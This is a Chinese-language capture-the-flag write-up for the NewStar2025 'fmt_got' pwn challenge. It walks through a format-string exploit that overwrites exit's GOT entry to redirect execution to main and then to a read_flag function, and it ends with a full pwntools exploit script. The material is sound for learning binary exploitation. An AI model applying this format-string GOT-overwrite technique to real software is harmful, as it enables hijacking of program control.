(NewStar2025)Pwn-Week4-fmt&got

以後newstar2025想复刻都單獨出 , 方便標籤

最近一時興起复習了一下pwn , 巨難….. , 還把L1nk的模板偷下來自己用了 , 回來打L1nk出的題 , fmt 和 got 如題 , 大概是要做把printf_got 改成 system_got表 , 利用printf 改2字節:

截图

開了canary 和 NX

先把 ld 和 libc 連一下:

1
2
3
4
5
6
7
patchelf --set-interpreter \
/home/ghsc/NewStar2025/pwn/fmt_got/ld-linux-x86-64.so.2 \
fmt_got

patchelf --replace-needed libc.so.6 \
/home/ghsc/NewStar2025/pwn/fmt_got/libc.so.6 \
fmt_got

去ida分析一下:

截图

不難看出read 和 printf 分別都是我們的目標:

gdb分析一下canary 在 rbp-0x8上 :

截图

ni到printf上 : fmtarg 0x7fffffffcc88

可以canary 到: %39$p

第一波,猛攻exit

之後就是要找到got表了 : 因為是canary來泄露地址所以要利用exit.got 表來改成 main

截图 截图

不難看出 : exit : 0x403430 main : 0x401346 要改兩字節:

payload要先改了main再泄露canary , 再用onegad來打(猜的) , 因為填main前已填入了34個字 , 所以改main_low時要-34才可以把payload發送的東西變回main_low

1
2
3
4
5
6
main_low = elf.sym['main']&0xffff
exit_got = elf.got['exit']

ru(b'\n> ')
payload = f'%1${main_low - 34}c%12$hn'.encode() + p64(exit_got)
s(payload)
截图 2d142564-2912-415f-80bd-55c09dc535d9.png

可以看到成功改了exit的got表後兩字節 , 死亡回歸來了

第一波(re),改成read flag

再看清楚一下ida , 有一個l1nk哥留下的read_flag : 0x40128e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 read_flag()
{
FILE *stream; // [rsp+8h] [rbp-58h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
stream = fopen("flag", "r");
if ( !stream )
{
puts("flag not found! Contact admin if you see this on the remote server.");
exit(1);
}
fgets(s, 64, stream);
printf("How you do that... here is the flag: %s\n", s);
fclose(stream);
return v3 - __readfsqword(0x28u);
}

1
2
3
4
5
6
main_low = elf.sym['read_flag']&0xffff
exit_got = elf.got['exit']

ru(b'\n> ')
payload = f'%1${main_low - 34}c%12$hn'.encode() + p64(exit_got)
s(payload)
截图

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
from pwn import *

BIN_PATH = './fmt_got'
LIBC_PATH = './libc.so.6'

#HOST = ''
#PORT =

elf = context.binary = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH, checksec=False)
context.os = 'linux'
context.log_level = 'debug' if args.DEBUG else 'info'
context.terminal = ['tmux', 'splitw', '-h']

choice = 0x000
if choice:
p = remote(HOST,PORT)
else:
p = process(BIN_PATH)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])

def get_sb(base):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b *0x40138C
'''

read_flag = elf.sym['read_flag']&0xffff
exit_got = elf.got['exit']

ru(b'\n> ')
payload = f'%1${read_flag - 34}c%12$hn'.encode() + p64(exit_got)
s(payload)


itr()